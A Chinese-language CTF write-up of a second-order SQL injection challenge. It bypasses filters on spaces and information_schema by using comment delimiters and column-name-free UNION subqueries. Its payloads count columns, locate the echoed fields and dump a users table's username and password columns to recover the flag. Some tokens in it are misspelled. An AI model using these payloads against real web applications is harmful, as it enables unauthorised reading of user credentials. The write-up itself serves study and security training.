知识点:
baypass iinformation_schema
参考链接:https://www.anquanke.com/post/id/193512
无列名注入
解题:
进去就是登录注册界面,随便注册一个登陆进去发现是一个发布广告的页面,在发布广告的时候添加‘
,没有报错,但是在查看广告的时候报错,说明二次注入,其实这也导致我不能puzz去知道大概过滤了些什么东西,这些让我的思路被限制了,看了wp,过滤了空格,information_schema
(很重要的一个库,里面包含了后台所以库名,表名,列名),所以需要用到无列名注入
先查询列数,payload如下:
-1‘/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/‘
依次增加数字,直到不报错为止:
再通过无列名注入读取数据,经过类似-1‘/**/union/**/select/**/1,uesr(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/‘
依次用user()去替换数字,发现2,3号位可以回显,直接payload:
-1‘/**/union/**/select/**/1,(select/**/group_concat(a)/**/from(select/**/1,2/**/as/**/a,3/**/union/**/sele ct*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/‘
得到
上面得到的信息类似于:
username | password |
---|---|
2 | ... |
flag | ... |
admin | ... |
1 | ... |
所以我们需要读取下一列,直接在3处读取flag即可,payload如下:
-1‘/**/union/**/select/**/1, (select/**/group_concat(b)/**/from(select/**/1,2,3/**/as/**/b/**/union/**/sele ct*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/‘
得到flag:
总结:
sql注入题都是有很多被过滤的,遇到不能puzz的,还是要自己多去尝试,看什么被过滤了,再以此来绕过
参考文章:
https://www.cnblogs.com/wangtanzhi/p/12241499.html